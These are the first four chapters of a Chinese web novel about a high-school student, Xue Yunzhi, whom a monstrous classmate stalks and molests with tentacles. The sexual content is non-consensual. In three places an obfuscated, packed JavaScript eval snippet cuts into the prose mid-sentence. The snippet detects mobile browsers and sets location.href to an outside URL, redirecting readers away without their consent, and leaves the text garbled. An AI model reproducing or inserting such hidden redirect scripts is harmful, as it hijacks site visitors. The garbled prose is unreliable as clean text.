《警告!你被非人怪物盯上了》 1. 第 1 章 穿过一条又一条道,是一个老旧的居民区。 夜深人静,任何一点声响都会被无限放大。居民区的位置离崇明一中并不算远,却鲜少有年轻人住在这里,没有别的原因,只是因为这里生活条件很差,连电梯都没有。 这是一个不知道什么时候会拆迁的老旧楼房。 三楼拐角的房间是个单间,一进门就是一张床,房内陈设一览无余,窗户正对着旁边的楼,完全看不见天空,阴沉又压抑,因此常年拉着窗帘。 房东本来觉得不会租的出去,但一年前竟然有人给他打了电话,是个刚上高一的少年,租下了这个单间。 墙壁完全不复最初建造时洁白的模样,经年累月,布上了霉点,墙体颜色斑驳发灰,墙皮脱落,还有着一些乱七八糟的涂鸦。 单人小床并不结实,只能勉强容纳一个成年男性的体型,少年才刚刚成年,身体抽条长得很快。他在这儿住了一年,也已经习惯了,微微蜷起身子睡着。 这张床稍微翻个身就能发出很大的声响。此时吱呀吱呀地响着,搅得人心烦意乱。 奇异的是,从小床的各个方向都攀上了滑腻的触手。肉/粉色的触手上布满了无数个大大小小的吸盘,要是换了有密恐的人看到定会被吓得眼前一黑,径直晕过去。 一根一根的触手扭动着躯体,拍打着床,兴奋又热情地涌进了薄薄一层的被子里,撑起了被子。它们迫不及待地把床上酣睡的少年缠绕了起来,裹在少年的肌肤上,吸盘主动缠绕吸吮。 随着被子的不断起伏,少年终于察觉到了异样,紧闭的唇齿微微张开,喉间溢出一声难耐又难受的喘/声,原本舒展的眉头紧皱起来,左眼角的一颗红色泪痣愈发红艳,几近灼人。 出租屋里的声响越来越大,少年的手骤然攥紧了手下的被子,整个人垂落回床上,本就不太结实的床发出刺耳的一声“吱嘎!”。 他猛地睁开了眼睛,额上布着细密的薄汗。 房间内陡然安静了下来,瞬间恢复了正常,方才还肆无忌惮、兴奋活跃的触手消失得无影无踪,仿佛刚才发生的一切都只是错觉。 薛蕴知舒出一口气,不明所以地撑着床坐直身子,然后手与床单的触碰让他感受到了一抹湿润,不由得发出了疑惑的一声“嗯?” 指腹捻了捻,有一种潮湿的湿气,让睡在这种环境里的人十分难受。 但这里并不是靠海的城市,空气中的湿度很适宜,床单应该是干的才对。薛蕴知下意识嗅了嗅,立马闻到了空气中石/楠花的气味。 掀开被子,果然一片狼藉。 薛蕴知:…… 他摸到手机,看了眼时间。凌晨三点二十三分。 再过四个小时不到就要上课了。 少年忍不住轻轻啧了声,眉骨下压,浑身都笼罩着一种没睡醒的烦躁,抬手捏了捏鼻梁。 初秋的空气裹挟着寒意。他顺手拿了放在衣架上的外套披上,站起身后就会发现他身形挺拔,隐藏在外套之下显得有些单薄,微妙地带了点易折的脆弱感,是介于少年人与青年人之间的身量,浑身透着股很勾人的气质。 ——不是那种学生时期常有的干净清纯的青春气,而是一种情不自禁勾起人恶劣心思,让人忍不住想要欺负他、逼迫他露出服软神情的旖旎又复杂的气质。 明明生了副过分艳丽的眉眼,桃花眼潋滟着欲色,眼角点缀着一颗小小的红色泪痣,却偏生总是一副冷淡的模样。但不仅没有折损绮丽的美感,反而添上几分反差极强的欲色。 水龙头被拧开,冷水哗啦啦地涌出来,骨节分明的手被冷水冻得发红,他却没有露出一点别的神色,重复着机械的动作。 眉眼困恹,唇紧抿成一条线,心里想着,怎么回事?连续三天了……他最近有这么饥/渴吗? …… 天蒙蒙亮。 窗帘并不遮光,些微的阳光透进来,灰尘无所遁形,在空气里翻飞着。 手机闹钟响起来,被子里伸出一只手,烦躁地按灭了,过了五分钟又锲而不舍地响了起来。 薛蕴知终于起了床,收拾好了自己。 崇明一中的校服是蓝白色的,校服宽松,把身体的曲线线条全部都隐没了起来,在高中这种很容易情窦初开的时期,成了一种默认的防早恋方式。 但有些人偏偏就不会好好穿校服,把校服系在了腰上,勾勒出劲瘦的腰线,宽肩窄腰十分惹眼,里面穿着校服短袖,解开了一颗扣子,白皙的锁骨大片都露在了外面。 薛蕴知晚上没睡好,早上出门出得急,校牌落在了家里。这种情况他肯定进不去校门的,于是熟稔地拐弯直走再拐弯,停在了最适合翻墙的位置。 他往后退上几步,用肉眼估摸着距离,然后猛的迈开步子,加速冲了过去,左脚结结实实踏在墙面上,借力往上一蹬。 与此同时,右手牢牢扳住了墙沿,手臂用劲把自己拉了上去,显出清晰漂亮的肌肉线条。 在身体四肢的灵活配合下,他整个身子轻巧地翻了过去,稳稳落地,动作利落又干净。 走进校园后,开始时不时有人朝他投来视线,情不自禁地盯着他看了几秒后,又十分不好意思地移开视线,耳朵红了。 薛蕴知才走了两步,一只手就勾住了脖子,蹭上来一张挂着灿烂笑容的脸,偏过头仔细观察了下他眼下淡淡的青黑,笑道:“哟,又没睡好呢。” 来人头发在太阳光下有点偏黄,闪烁着太阳的光泽,带着点天然卷,脸上笑嘻嘻的。 薛蕴知轻啧了声,无情地把江明的脑袋推开了,眉眼间没睡醒的困倦躁色压都压不住:“很明显吗?” “黑眼圈都压不住了哥。”江明被推开了也不恼,继续凑在薛蕴知身边,笑眯眯地揶揄他,“你这是大半夜的干嘛去了。” 薛蕴知眼下的青黑将他本人衬出几分厌世感,一想到连续三天半夜起来就着冷水洗裤子,他心里憋了点火气,嗓音冷淡:“做春梦了,没睡好。” 江明愣了一下,神情怔忪一瞬,反应过来后就想笑,几步跟上走远了的薛蕴知,刚想继续插科打诨,就见他不像开玩笑的样子。 于是张了张嘴,讶异道:“不是吧,我以为你性/冷淡呢。” 薛蕴知停下来,斜眼瞥了他一眼,江明便止了声,手又不自觉地搭在了他的肩上,凑近笑道:“我就开个玩笑啦。” 薛蕴知看了眼肩上的手,这次没再推开了,有些习以为常地接受了。 他不太喜欢和其他人有身体接触,从小到大都是独来独往,但江明实在热情得过分,也不在乎他的冷脸,始终热情如一地跟在他身边,久而久之他居然也勉强习惯了。 两人并肩上了楼,江明给他出着馊主意:“那你要不要谈个恋爱啊我说。那么多人喜欢你,光这学期开学以来就有五个了吧,你就一点不感兴趣?” 他提到这个,薛蕴知脸色立马变差了,嫌恶地皱起眉,他抿了抿唇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140948|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦闷地说:“别说了。” 开学来了高一新生,这才开学两个月不到,竟然已经有五个高一的男生轮番给他表白了。 但是,薛蕴知恐同。看着一脸羞涩递出情书的穿着校服的男生,薛蕴知木了,面无表情地往后退了好几步,然后转身就逃了。 他每次被男生表了白就逃,像是受了惊吓似的,连个回应都没时间留下,简直和平时冷脸酷哥的不像是同一个人。 后来倒是有人摸清了他的性子,仿佛约好了般一起来表白,从前后堵住了薛蕴知的退路,结果他倒是抓着栏杆一个翻身跃了出去,长腿迈开跑得飞快,只留下一个背影。 江明觉得他的反应太好玩了,忍不住总拿这事笑话他,薛蕴知任着他笑,只绷着那张帅气的脸,看起来又酷又高冷。 拐角突然有个人冲了过来,规规矩矩穿着校服,外套拉链拉到了最上方,严严实实地挡住每一寸皮肤。他怀里抱着厚重的一叠书本,似乎没有察觉到有人,低头继续跑着。 直接就生生撞进了薛蕴知的怀里。 薛蕴知眼睛微微睁大,被撞得往后退了几步,怀里的书本掉得七零八落,散落在地上。 身体相撞的那瞬间,他感觉脖子好像感到了一点湿意,仿佛是被舌头舔舐了下,还没来得及细想,见面前这人要摔倒了,他下意识拉了把,把人稳住了。这一打岔,他也忘了深究刚才那个是不是错觉。 他手还揽在这人腰上,骨节分明的手指在上面似乎摩挲了半秒,转瞬就抽回了手。 面前的男生和他身形差不多高,戴着一副黑框眼镜,挡住了小半张脸,刘海偏长,整个人好像灰扑扑的,看起来有股刻板的书呆子气息。 “抱歉抱歉,我赶时间。”出声时却很意外地是很清亮的嗓音,仿若炎热酷暑的薄荷味冰淇淋,清爽解腻。 他一边说,一边调整了下眼镜,黑框眼镜下方漂亮的眼睛一闪而过,旋即又被刘海和眼镜挡住了,还是一副老土的书呆子打扮,带着点歉意地说道:“我有撞疼你吗?” “没事。”薛蕴知往后退了一步,和他拉开了距离。他不太习惯和别人靠得太近,下意识伸手摸了摸脖子,总感觉有点怪异感。 他眉头轻皱,锐利冷漠的五官看起来有些不好惹,他并没有要帮忙捡地上散落的书本的意思,冷漠地站在一旁,单手插兜倚着墙。 江明倒是热心地帮着书呆子一起捡。捡好之后,一抬头就看见薛蕴知朝他颔首,江明笑眯眯地跟上去,高兴地说,他现在居然还会等人了。 “等等——”戴着黑框眼镜的书呆子男生大概是做了好一会儿心理准备,喊住了他们,仍旧是带着歉意的语气。 似乎还有点怕薛蕴知,低着头有点瑟缩的模样,声音也在抖,“我叫温涟,高三1班的。如果后续有什么事可以随时来找我。” 一班,每个年级里最好的班,年级前三十都在这个班上。 薛蕴知“嗯”了一声,反应很冷淡。两人很快就消失在了温涟的视线里。 然而低头重新抱好书本的男生却紧盯着少年背影,站直了身子,完全没有刚才瑟缩的样子了,他取下眼镜随意擦了擦,没有眼镜的遮挡后,露出了高挺的鼻梁和形状漂亮的眼睛。 不笑时自带一种忧郁的文艺气息,面容清俊,是让人如沐春风的长相。 但他此刻唇角咧开,舔了舔唇,仿佛是在回味,漾起浸着点甜蜜幸福的笑,呢喃着自言自语:“果然是甜的。” 2. 第 2 章 薛蕴知回到教室里,桌子上摆着各种各样的零食,各种口味的面包牛奶应有尽有,十分豪华诱人。 江明偏头看了一眼他的神情,果不其然看见他眉头轻皱起来,忍不住扬唇笑了,问道:“你吃早饭没?” 薛蕴知捏了捏鼻梁:“不想吃。” 睡都没睡够,哪来的心情吃饭? 薛蕴知一如既往地没吃这些,而是分给了班上的同学。桌子干净之后,他趴在桌子上,长腿曲起,开始补觉。 他从来不收那些礼物和甜点,没有掩饰过自己的冷漠和无情,但不仅没有断了那些旖旎的念想,反而好像挑起了他们愈挫愈勇的决心,加倍地送了过来。 江明剥了颗巧克力,递到他嘴边:“你真的不准备谈啊?——来,张嘴。” 薛蕴知不理他,还伸出一只手扣上了外套帽子,阻绝了外界的一切声响。 江明低声笑了声,喉结震动,只好自己把巧克力吃了。 他们坐在后排靠窗的位置,薛蕴知睡得很沉,老师在讲台上激情四射地讲着课,时不时还有手上的动作辅助一下。 这是节物理课,那老师年龄大了,头发稀疏少得可怜,头顶那一块都快秃了,看起来实在让人忍不住发笑。 他讲着课,见时不时有人扭过头去看后排睡觉的少年,拍了拍黑板,喝了口水润嗓子:“看这儿啊,别再转头了,后面有什么好看的啊。” 老李当了几十年老师了,惯常是喜欢学习好又听话的好学生的,对于薛蕴知这种自己成绩差还不知道上进努力的,他没什么好感。 但好歹只是睡觉而不是捣乱,老李把他和以前班上的刺头对比了下,竟然诡异地觉得薛蕴知还挺让他省心。——除了时不时翻墙出去、和人打架外。 前几天老李又被通知他班上的薛蕴知和外校同学打架被老师抓了个正着,老李把他喊到办公室苦口婆心地说了好一会儿,薛蕴知认错态度也很端正,低着头垂着眸,那模样要是被小姑娘看了定是又要觉得帅得人神共愤了。 老李摇摇头,也不知道再说什么,只好说一句让他以后别再犯了。薛蕴知点点头。 “要不要我把他座位调到第一排来让你们看个够啊?” 老李脸上乐呵呵的,开着玩笑,那几个脸皮薄的同学立马坐端正了,没再好意思往后瞟,他便也不再揶揄,继续讲课。 江明唇角压不住笑,瞥了眼薛蕴知红了的耳根,就知道他醒了,竖起书,压低声音,模仿着重复了遍:“要不要把你调到第一排去啊?” 薛蕴知本来是侧趴着朝向窗户睡的,闻言转过了头趴着朝向他,眼下淡淡的青黑,显出几分厌世感,下颌线凌厉,面无表情地挑了下眉:“你这么想和我一起去前排?” 江明讪讪地看了眼自己藏在书本后面的漫画书,连忙道:“那不行。”到前排去了还怎么摸鱼? 他突然注意到薛蕴知脸色有点白,额间还覆着一层汗,立时正色,关切地问道:“你怎么了?” 薛蕴知敛了眸,抿起唇说:“没事。”说完这一句后,他似乎是困得不行了,把头埋进了臂弯中,脸被挡得严严实实。 江明不觉得他像是没事的样子,还想再问,但薛蕴知已经睡了,他也没办法再问。 第二节课下课后按照惯例是跑操,今天这个时间被用来做对月考中各个年级的前十名的表彰仪式,以及学生代表发言。 ——还有检讨。 薛蕴知前几天刚和人打了架,被教导主任抓了个正着,勒令他在全校面前念个检讨,做个典型的反面案例。 也不是第一次作检讨了,薛蕴知倒是没什么心理负担,也没什么羞耻心,有种破罐子破摔的散漫。 但这一次他的反应明显不太对。少年靠在墙上,脸色有些不正常,单手捂着胃,脸色愈发苍白,眉骨下压。没吃早饭的恶果现在反馈到身上了。 额前浸出点汗,碎发凌乱,唇色莫名有点艳。 此刻和他同样站在主席台背面的都是些好学生,和他这种成绩倒数常年被拎出来做反面典型的人完全没有任何交集,自然很难会有人主动和他搭话。 但由于过于优越的长相和气质,此时还是有不少视线落在了他的身上,有几个人纠结着上前要不要问问他怎么了。 薛蕴知对此一无所知,下颌线绷紧,使劲按了按胃的位置,努力把疼痛感压下去。 “是胃痛吗?”清亮的嗓音响起。 薛蕴知一怔,眼皮掀起,视线先是映入了一只手,手心摊开,放着一颗糖。他没接,抬眸看向伸出手的人。 是上午遇见的那个人,土气的黑框眼镜遮住了半张脸,刘海偏长,校服拉链拉到了最上方,挡住一点白皙的下巴,整个人的气质无比沉闷。 薛蕴知对他有点印象,毕竟把自己打扮成这样似乎见不得人的模样的人实在少得可怜。 好像叫……温什么来着? 薛蕴知仍旧是靠在墙上的姿势,长腿微曲,即便疼得脸色发白了,也没有减损他的气场。他从少年手心的糖果扫过,又抬眼扫过他的脸,如果换了个人被他这么看着,肯定会忍不住打退堂鼓了。 但温涟却没有,他还是一副好像很瑟缩的模样,说话时声线好像在抖似的,“我刚好还装了个面包。你胃痛的话,还是吃点比较好。” 薛蕴知挑了下眉,不由得想,他有这么吓人吗? 温涟拿出来,是个手掌大的夹心面包。这下他手里同时放着糖和面包了,隔着厚重的镜片,薛蕴知看不清他的眼神,但这样对视着,他眼睛微不可察地眯了下,接过了面包:“谢了。” 包装袋被撕开,他低下头,张嘴咬下一口,面包很软,果酱沾在唇上,被他伸舌舔去,口腔里满是甜得腻人的味道。他不太爱吃甜食,甜得他有点牙酸,眉梢一挑,忽然感受到一道侵略性极强的、不容忽视的视线。 他抬起眸,正巧和温涟撞上眼神。 温涟直勾勾盯着他,如有实质般停留在他的唇上,意识到薛蕴知在看他后,才终于收敛了一点,把手伸得更近了些,问道:“不吃糖吗?” 薛蕴知又咬了一口面包,果酱甜得他眉头微皱,实在还是接受不了这种过于甜腻的东西。 视线在温涟递出的水果糖上转了转,真是完全不喜欢吃糖啊。 “不了,你留着自己吃吧。”他嗓音是一种夹带着少年气的性感,介于成熟与青涩之间,显出一种很特别的魅力。 温涟站在他面前,一呼吸好像都能嗅到空气中面包和果酱混杂在一起的香甜,还有薛蕴知身上清爽的沐浴露香味,飘进了他的鼻腔,温涟呼吸都变得急促了点。 为了掩饰自己过于兴奋的异常反应,他迅速往后退了半步,低下头似乎有些慌张地点了点头。 薛蕴知觉得他的反应有点意思,好像他是什么洪水猛兽似的避着他,但他只多看了温涟几眼,便收回了视线。 他向来很少关注其他人,注意力移回来了自己的事情上。 他还是把外套系在腰间,露出肌肉结实的手臂,从校服裤兜里摸出一张皱巴巴的信纸,看着上面江明帮他写好的检讨,提前熟悉一下。 耳边突然响起主席台上被话筒扩散的声音。 高三一班,温涟,年级第一。 薛蕴知看着那个穿得板板正正的身影走上了主席台,背影消失在自己的视野里。他在心里稍微惊讶了一下,没过一会儿就轮到了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140949|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上台。 薛蕴知上台前,正好撞上了下来的教导主任,中年男人皱着眉,头疼地让他把校服外套穿好,说哪有好学生这样穿的。 薛蕴知心道,他现在也能算作好学生了吗?但还是老老实实地把短袖领口的扣子全部扣好,又把系在腰间的外套正经穿好在了身上,拉上了拉链。 即便没有特立独行的穿搭,身形颀长的少年走上台的一瞬间,还是有种很特别的、吸引人的气质,台下突然响起了掌声,还有点起哄的声音。 薛蕴知轻车熟路地走到自己的位置,拿起桌上的话筒,听见台下还在起哄,他十分淡定地抬了下手,往下压了压,操场瞬间安静了下来。 教导主任莫名产生一种这是薛蕴知的个人专场的错觉。 “……对于这次错误,我进行了深刻的自我反思,”他语气平平,把检讨书上的内容干巴巴地念了出来,像是念经一样,但声音很好听,是一种偏低的、带着磁性的嗓音,于是也让人情不自禁地听了下去,“我深刻认识到了这件事的严重性,打架是非常不提倡的行为,希望也不要有任何人……呃嗯……” 他的声音突然怪异地停顿了下,流畅的叙述卡了壳。 主席台和操场上同学隔着段距离,因此台下的人看不清楚他的脸色。 只有薛蕴知自己知道,小腿突然被一个滑腻湿黏的软体生物缠上了,冰凉的触感让他的声音瞬间抖了下,用尽了全力才没有让尾音变调,避免了在全校人面前丢脸。 薛蕴知分出一丝精力低头往下看,校服裤子很宽松,他根本没办法看清裤子下面的情况。然而这时候缠在小腿上的软体生物愈发张狂起来,顺着皮肉得寸进尺地往上攀着。 “……希望不要有任何人效仿我的……行为,”他另一只手按在了桌案上,捏紧了边缘,手指用力得泛白,竭力保持着正常的语气,每一个字都是从喉腔里憋出来的,“在这段时间里,我一直在反思自己的行为……” 他深吸了一口气,使劲咬了下舌尖,维持冷静。那根触手试探性地触碰了下布料,瞬间感觉到攀着的肌肉紧绷了起来,它却好像得到了某种认可,愈发兴奋了,钻了进去。 薛蕴知脖颈漫上了晕红,皮肤覆上一层蜜一样的薄汗,光看着就让人干渴喉结滚动了。但他本人并没有意识到这一点,全心全意抵抗着莫名其妙出现的滑腻生物,攥紧了话筒,语速骤然变得飞快,只想着速战速决。 眉眼飞上烦躁的情绪,散发着躁郁凶戾的气质,右手紧捏着桌沿,简直快要把桌案掰下来一角了。 周围人都不明所以,温涟不知何时移动到了主席台的侧边,他的身影隐没在阴影中,厚重镜片后的眼睛愉悦眯了起来,看着这副画面,和触手连通的触感让他感受着下方的皮肤,他忍不住舔了舔唇,专注地、直勾勾地顶着站在主席台上的少年。 眼角那颗痣变得红艳无比,薛蕴知眼睫一颤,一颗滚烫的泪珠蓦然从空中砸落下来。 好像砸在了温涟的心上,他的心脏猛地一缩,鼓胀得跳动了起来,神情变得狂热又痴迷。 他嘴唇不断张合,似乎是在无声地说话,告诉自己忍一忍再忍一忍,不要操之过急,这样快速地张合却像极了在念晦涩的咒语。整个人笼罩着一种沉闷阴郁的光。 “……我再次为这次犯下的错误进行道歉,今后不会再犯。”薛蕴知的检讨书终于念到了尾声,缠在身上的触手突然间消失了,好像刚才的一切都只不过是他的错觉,但沿着腿留下的那一道滑腻的、让人难受的触感依然存在。 薛蕴知的脸色还是一如既往地平静冷淡,抬起手,青紫血管明显的手背随意擦掉了积蓄在眼角险些滴落的泪,声音冷硬:“我检讨完了。” 3. 第 3 章 真是一场酣畅淋漓的检讨。 台上人念得潸然泪下,台下人听得专注认真,眼睛都定在了少年身上。 念完最后一句后,薛蕴知一把将外套拉链扯了下来,挥发一下身上的热气,眼尾还泛着点红,一只手撑在桌案上维持身体的平衡,浑身写满桀骜不驯的冷脸帅哥突然就添上了几分脆弱感。 教导主任犹疑地上台,又犹疑地看了一眼站在旁边一言不发的薛蕴知,心里纳闷:这次检讨写的这么真心的吗? 但知错就改、改邪归正总归是好的,教导主任心情大悦,站在了薛蕴知身边拿起了话筒,批评了几句薛蕴知的行为,让其他同学不要效仿他的行为,一转头看见薛蕴知眼泪还啪嗒啪嗒流,话锋一转,夸起了薛蕴知的认错态度很诚恳,很值得学习。 薛蕴知:?他值得学习吗? …… 薛蕴知走下了主席台,表情依旧冷淡,但眼尾的红消减了他那股拒人千里外的气质。 温涟在这时递出湿巾纸,薛蕴知愣了下,接过了一张:“谢谢。” 得到他的回应,温涟抿出一个腼腆害羞的笑,又迅速缩到人群里去了。 * “你今天在主席台上怎么还哭了?” 上完下午的课就放学了,崇明一中没有宿舍区,所有人都是走读,照顾到离家比较远的学生,学生们可以自由选择是否上晚自习。 从教室到校门口的路上,江明用手肘轻轻撞了下薛蕴知,笑道,“我写的这么好,让你念得真情实感了?” 薛蕴知抿了下嘴,想到那时候台上发生的灵异事件就一阵烦躁,他敷衍道:“你写的好。” 江明还在喋喋不休地说着什么,薛蕴知完全没听进去。他在想那时候缠绕在他小腿上的到底是个什么东西,又湿又滑,令人恶心得要命。 很快两人就分开了。江明坐上了来接他回家的车,薛蕴知则是沿着这条路直走下去,坐上了公交车。 穿着校服的男生一张脸生得十分俊帅,身高腿长比例极好,单手抓着吊环,一条长腿微微曲起,戴着耳机,与世隔绝一般。 他耳机里没放歌,只是根据之前的经验,出于不想被打扰的前提才戴上的。 薛蕴知不信鬼神之说,自然觉得今天是有人在装神弄鬼,让他差点在大庭广众之下丢了个大脸。那触感现在记忆犹新,缠在大腿上,甚至还探进了…… 脑子里忽地想起了睡梦中的记忆,好像被枝条藤蔓缠绕,整个人陷入一种无法呼吸的窒息感里,那种软体的不明生物比麻绳还坚韧,勒进肉里,挣脱不得。 昨晚这个生物也出现了吗?是同一个东西吗……? “宁嘉站到了,到站的乘客,请从后门下车……” 广播响起,骤然打断了他的思绪。薛蕴知舒出口气,下了车,走到了一家便利店门前。 薛蕴知初一的时候就是孤儿了。 说起来他的家庭状况还挺复杂的,总之在压抑的环境里生活了十多年后,有一天他的爸妈都喝了酒,终于都忍不下去了,借着酒劲在家里拿刀互砍起来,那时候薛蕴知就躲在桌子底下,连呼吸声都尽可能地收敛起来,捂着耳朵,等到外面安静了,他过了很久才出去。 看着倒在地上的两个人,血从他们的身上流淌到地板上,像两条红线一样汇聚在了一起,淌到了薛蕴知的脚边。薛蕴知木然地看着面前的景象,鞋底被血浸湿,找到手机冷静地打通了120和110,说明了此刻的情况。 并不大的房子里横躺着两具尸体,血色脚印一直延伸,停在了薛蕴知站着的地方。空气中血腥味重得熏人,薛蕴知闻得反胃,忍住了那种难受得想要呕吐的感觉,坐在沙发上安静地等待电话那头的人的到来。 得知两人已经死了的时候,薛蕴知点点头,心里没什么波澜,甚至不可否认地涌起了一点解脱的情绪,那名女警倒是用很心疼的目光看着他,似乎是在可怜他还是小小的一个孩子就要开始独立生活了。 薛蕴知觉得他的童年经历要是拍成电视剧,倒是也有几分看头,用有点地狱的话来说,就是丰富多彩。 经过那场变故之后,他的生活变化并不算很大,最明显的变化就是耳边无时无刻不在的争吵声消失了。 他们住的房子是租来的,爸妈死后没人付房租,薛蕴知本来就不能长久地住在那里,再加上那天出警弄得人尽皆知,附近的人都知道这个房子里发生过命案,房东嫌晦气,租期还没到期,就把薛蕴知赶了出去。 一个刚上初一的十来岁的小孩突然变成了无家可归的孤儿,没有一家店会招十来岁的小孩打工,薛蕴知独自一个人又去了警局,一张小脸绷得十分认真,问他们他能不能在这里打地铺睡觉。 那天处理他爸妈命案的女警恰好在值班,对他印象很深,和他说了会儿话后,把他带回了自己家里。 ——直到薛蕴知上了高中,他身高长得很快,一米八的个子看着像个成年人了,也能找到一些兼职赚到钱,于是他主动从那名女警的家里搬了出来,不继续打扰他们一家的生活,自己在崇明一中的附近租了单间。 薛蕴知下了课就在这家便利店兼职做收银员,每天凌晨走路回去,然后倒头睡几个小时,第二天再在课上继续睡。 本来他的作息一直保持着这个规律,他的身体也已经习惯了,结果连续三天做春/梦完全打破了平衡,让他的睡眠陷入了严重不足。 他又打了一个哈欠,难言倦态,但工作态度很认真负责,一直有很多顾客进来买东西,排了条很长的队。 收银处除了他还有另一个人,熟练了流程之后,工作效率就很快了。 薛蕴知是在校服外面直接套的工作服,里面还穿着崇明一中的短袖。进来买东西的人也有不少穿着崇明一中校服的学生。 薛蕴知困得眼皮有些打架,使劲咬了下舌尖让自己清醒过来,沉默地拿过物品开始扫价钱,然后装进袋子里。 “这个是送你的!” 薛蕴知掀起眼皮。 面前的女生梳着高马尾,整个人十分有精神,把他装进袋子里的咖啡拿了出来,往他面前推了推。 “我看你好像很困,所以就……”女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140950|196336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生深吸一口气,似乎是很紧张,薛蕴知还没来得及说什么,她就抓起自己的袋子,飞快地出了门跑走了 “……谢谢。”虽然说得迟了,薛蕴知也还是低声补充了这么一句。 后面的人一见这方法可行,如法炮制,但薛蕴知有了防备,看着那人做出了要给他的动作,他就干脆利落地给人塞回了袋子里,礼貌地说:“欢迎下次光临。” 过了好几个小时,顾客才稍微少了点,薛蕴知扭开便利店的瓶装咖啡,猛地灌了两口,给自己提提神。 “难怪店长聘你呢,”和他搭伙上班的同事开着玩笑,“自从你来了,店里的顾客多了不少,我们就没这种福气了,没办法凭脸招生意。” 薛蕴知来这里做兼职之后,店里生意好了不少,老板心情愉悦,心知肚明一部分人是为了谁来的,于是大方地给薛蕴知涨了工资,男人作为和薛蕴知一起上夜班的搭子,也连带着涨了工资。 但男人不仅没有感到幸运,反而对薛蕴知怀上了种莫名其妙的怨恨嫉妒,总是对他说些阴阳怪气的话。 薛蕴知早习惯了他说这些夹枪带棒的话,懒得花时间应对,看都不看他一眼,仰头又喝了好几口咖啡,只不冷不热地“嗯”了一声。 那男人自讨没趣,反而更来劲了,对俊帅又年轻的少年的嫉妒几乎溢了出来,还偏偏扯着笑,装出一副开玩笑的口吻:“你说你怎么不去酒吧里工作啊,那边来钱更快,而且长成你这样在那边可吃香了。” 薛蕴知终于给了他一个眼神,眼皮掀起又垂下,上下打量了他一番,这是一种很羞辱人的打量方式,尤其是对一个普普通通的男人来说。 那男人瞬间像是被踩了尾巴似的差点跳起来:“你看什么呢!” 薛蕴知耸了耸肩,表情淡漠,表情明明白白写着:你会说出这种话,也能理解。 那个男人不知为何竟然读懂了他的表情,更急了,气急败坏:“你什么意思?” “长成你这样确实不好受。” 薛蕴知朝他扯了下唇,眼里流露出毫不掩饰的嘲讽,但他脸色依然平静又冷淡,好像面前的人只不过是一个跳梁小丑,看着旁边这人的眼睛,一个字一个字无情地往外吐:“太丑了。” 男人被戳着心窝子骂,一瞬间就炸了,一拍桌子:“你他妈的说什么呢!” “……这就是你们的服务态度吗?那我可要投诉了。” 过来结账的人似乎也被吓了一跳,弱弱地说上一句。 “不……”男人这才恢复理智,他竟然在顾客面前露出了这幅态度,要是被店长知道了肯定会被扣工资的,说不定还会被开除。 他刚想着急地解释,就被另一道声音打断了。 “不是,别误会,是他个人没素质。”薛蕴知淡声回答,平静地接过了面前人买的汽水,扫价钱,完全把旁边的人当成了空气。 “是你啊!”面前的人突然惊喜地说。 薛蕴知抬起眸,和他视线相撞,对视着。 今天第三次见到这个书呆子打扮的人了。 是巧合吗? 4. 第 4 章 薛蕴知看了眼时间,已经快一点了,还能在便利店看见同学这件事有点不可思议。 “你快要下班了吗?”付完账后,温涟没有离开,反而抬眸看着他。 薛蕴知回道:“还有十三分钟。” “哦。”温涟认真地点了点头,和他挥手告别后,出了门。 旁边的男人被打了岔,开始担心起自己的这份工作,狠狠瞪了薛蕴知一眼后,没有再出声找他麻烦。当然,他狠狠地瞪的那一眼也理所当然地被忽视了。 薛蕴知喝完了那瓶咖啡,也还是连打了好几个哈欠,困得神色恹恹,根本没有精力分给其他人。 那人瞪了半天被当成了空气,最后只有自己憋了一肚子气,薛蕴知就跟没事人一样继续干自己的事。 好不容易挨到了下班的时间,薛蕴知脱下工作服,背上轻便的书包,离开了。 出门之后冷风呼啸着扑到身上,校服的拉链被拉到了最上方,但依旧有冷风顺着脖子灌进去,这个时间没有公交车可以坐,很不巧的是,连共享单车也没了。 真是倒霉。薛蕴知叹了口气,夜晚上街道上没什么人,他单手揣兜,另一只手拿出手机打开手电筒,准备绕近路回家。 想要绕近路回到那栋居民楼,需要通过好几条漆黑的巷子,尤其是三更半夜的,胆子小一点的人更不敢走小路了,但其中不包括薛蕴知。 他困得脑袋都昏了,只想赶紧回家补觉。 手机手电筒的光并不算很明亮,只能照清近前方一部分的景象,薛蕴知点了根烟,衔在唇间,漆黑的夜里燃起一点火星,烟雾缭绕在俊帅的眉眼。 尼古丁逐渐舒缓了他焦虑烦躁的情绪,让大脑浓重的困意也消减了些许。 